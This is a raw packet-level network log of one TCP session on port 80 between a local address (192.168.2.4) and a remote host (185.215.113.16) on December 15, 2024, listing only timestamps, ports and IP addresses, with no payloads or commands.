Dec 15, 2024 12:00:00.831523895 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.831598997 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.831640005 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.832549095 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.832655907 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.832699060 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.833591938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.833640099 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.833646059 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.833688974 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.834675074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.834717035 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.834789038 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.834834099 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.835702896 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.835747004 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.835819960 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.835860014 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.836849928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.836886883 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.836893082 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.836929083 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.837821007 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.837950945 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.837994099 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.838913918 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.838956118 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.839073896 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.839114904 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.839932919 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.839975119 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.840033054 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.840073109 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.840964079 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.841181040 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.841224909 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.842052937 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.842099905 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.842175007 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.842217922 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.843144894 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.843185902 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.843210936 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.843255997 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.844136953 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.844250917 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.844296932 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.845184088 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.845227003 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.845331907 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.845376968 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.846231937 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.846272945 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.846451044 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.846492052 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.847332954 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.847374916 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.847428083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.847470045 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.848417044 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.848459005 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.848514080 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.848556042 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.849505901 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.849548101 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.849606991 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.850517035 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.850564003 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.850624084 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.850663900 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.851543903 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.851584911 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.851659060 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.851699114 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.852591038 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.852632046 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.852684975 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.852726936 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.853641987 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.853683949 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.853804111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.853844881 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.854705095 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.854741096 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.854815960 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.854857922 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.855660915 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.861643076 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.996876955 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.996915102 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.996953011 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.996968985 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.997051001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.997276068 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.997694969 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.999157906 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.000730991 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.000751019 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.000766993 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.000773907 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.000782967 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.000787973 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.000799894 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.000816107 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.000833988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.000849009 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.000869989 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.000888109 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.001730919 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.001777887 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.001905918 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.001945972 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.002846003 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.002861023 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.002897978 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.003948927 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.003964901 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.004009962 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.004791975 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.004955053 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.005000114 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.005836964 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.005880117 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.006028891 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.006071091 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.006243944 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.006261110 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.006280899 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.006290913 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.007162094 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.007205009 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.007334948 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.007390976 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.008218050 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.008260012 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.008392096 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.008433104 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.009249926 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.009422064 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.009428024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.009468079 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.010334969 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.010394096 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.010483980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.010529995 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.011387110 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.011424065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.011503935 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.011539936 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.012413979 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.012577057 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.012618065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.013465881 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.013510942 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.013603926 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.013639927 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.014561892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.014607906 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.014631033 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.014672041 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.015577078 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.015620947 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.015686035 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.015738010 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.016640902 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.016683102 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.016730070 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.016767025 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.017688990 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.017806053 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.017843962 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.018785000 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.018817902 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.018866062 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.018901110 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.019855022 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.019895077 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.019916058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.019949913 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.020849943 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.020899057 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.020946026 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.020979881 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.021977901 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.022120953 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.022156954 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.022960901 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.023000956 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.023077965 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.023113966 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.023996115 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.024036884 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.024116039 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.024153948 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.025109053 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.025171041 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.025240898 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.025283098 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.026155949 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.026196003 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.026204109 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.026236057 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.027165890 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.027203083 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.027236938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.027268887 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.028239965 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.028280020 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.028372049 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.028419018 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.029360056 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.029400110 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.029504061 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.029539108 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.030323982 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.030363083 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.030524015 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.031390905 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.031433105 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.031492949 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.031527996 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.032493114 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.032531023 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.032686949 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.033523083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.033561945 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.033667088 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.033701897 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.034584045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.034620047 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.034691095 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.034724951 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.035631895 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.035676956 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.035725117 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.035757065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.036684036 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.036751032 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.036753893 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.036782980 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.037734985 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.037772894 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.037882090 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.037914991 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.038803101 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.038835049 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.038893938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.038924932 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.039802074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.039927959 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.039961100 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.040863991 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.040965080 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.040978909 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.041008949 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.041888952 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.041924000 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.041992903 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.042026997 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.042941093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.042974949 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.043066025 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.043096066 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.044043064 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.044085026 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.044156075 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.044186115 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.045101881 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.045134068 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.045181990 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.045212984 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.046183109 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.046225071 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.046299934 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.046340942 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.047183037 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.047215939 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.047286987 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.047318935 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.048286915 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.048321962 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.048388958 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.048420906 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.049352884 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.049498081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.049542904 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.050384998 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.050462961 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.050503016 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.050539970 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.051486015 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.051528931 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.051565886 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.051604033 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.192854881 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.193022966 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.193084002 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.193391085 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.193430901 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.193463087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.193502903 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.194226980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.194267988 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.194298029 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.194335938 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.195195913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.195235968 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.195305109 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.195343018 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.196278095 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.196446896 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.196492910 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.197316885 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.197356939 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.197443008 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.197480917 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.198607922 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.198645115 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.198678017 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.198714972 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.199692011 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.199731112 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.199795961 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.199831963 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.200759888 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.200797081 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.200846910 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.200887918 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.201781034 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.201936007 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.201977015 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.202620983 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.202661037 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.202727079 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.202768087 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.203660011 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.203701973 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.203749895 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:01.203787088 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:01.204669952 CET	80	49876	185.215.113.16	192.168.2.4
